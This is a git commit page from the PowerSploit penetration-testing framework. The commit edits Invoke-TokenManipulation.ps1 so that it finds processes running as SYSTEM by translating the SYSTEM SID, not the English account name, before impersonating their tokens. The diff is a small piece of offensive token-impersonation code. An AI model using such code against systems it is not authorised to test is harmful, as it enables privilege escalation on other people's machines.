diff options
author | mmashwani <mmashwani@gmail.com> | 2016-01-13 04:52:42 -0500 |
---|---|---|
committer | mmashwani <mmashwani@gmail.com> | 2016-01-13 04:52:42 -0500 |
commit | 96ad796da81d01acd08622111141b0df568e552b (patch) | |
tree | dbf7e9450d8afce9fcaa7cb11135fa6aa4b20bd5 /Exfiltration | |
parent | 9e771d15bf19ab3c2ac196393c088ecdab6c9a73 (diff) | |
download | PowerSploit-96ad796da81d01acd08622111141b0df568e552b.tar.gz PowerSploit-96ad796da81d01acd08622111141b0df568e552b.zip |
Don't search for SYSTEM token by using hard coded English name for SYSTEM account. Translate SYSTEM SID to NTAccount to maintain compatibility across languages.
Diffstat (limited to 'Exfiltration')
-rw-r--r-- | Exfiltration/Invoke-TokenManipulation.ps1 | 3 |
1 files changed, 2 insertions, 1 deletions
diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1 index 3a61da8..ea30952 100644 --- a/Exfiltration/Invoke-TokenManipulation.ps1 +++ b/Exfiltration/Invoke-TokenManipulation.ps1 @@ -1685,7 +1685,8 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token. #Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges. #We need to enumrate all processes running as SYSTEM and find one that we can use. - $SystemTokens = Get-Process -IncludeUserName | Where {$_.Username -eq "NT AUTHORITY\SYSTEM"} + [string]$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value + $SystemTokens = Get-Process -IncludeUserName | Where {$_.Username -eq $LocalSystemNTAccount} ForEach ($SystemToken in $SystemTokens) { $SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.Id -WarningAction SilentlyContinue -ErrorAction SilentlyContinue |